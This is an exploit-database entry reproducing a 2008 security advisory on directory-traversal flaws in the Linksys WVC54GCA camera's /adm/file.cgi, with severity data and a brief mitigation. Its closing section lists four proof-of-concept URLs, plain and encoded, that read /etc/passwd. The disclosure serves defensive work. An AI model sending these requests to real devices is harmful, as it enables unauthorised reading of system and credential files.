Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera Directory-Traversal Vulnerabilities

vendor:

WVC54GCA Wireless-G Internet Home Monitoring Camera

by:

SecurityFocus

7.5

CVSS

HIGH

Directory-Traversal

CWE

Product Name: WVC54GCA Wireless-G Internet Home Monitoring Camera

Affected Version From: 1.00R22

Affected Version To: 1.00R24

Patch Exists: YES

Related CWE: N/A

CPE: h:linksys:wvc54gca_wireless-g_internet_home_monitoring_camera

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera Directory-Traversal Vulnerabilities

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple directory-traversal vulnerabilities because the software fails to sufficiently sanitize user-supplied input. An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the server process. Information obtained may aid in further attacks.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in file operations.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/34713/info

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple directory-traversal vulnerabilities because the software fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the server process. Information obtained may aid in further attacks.

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable. 

http://www.example.com/adm/file.cgi?next_file=%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?next_file=%2fetc/passwd
http://www.example.com/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd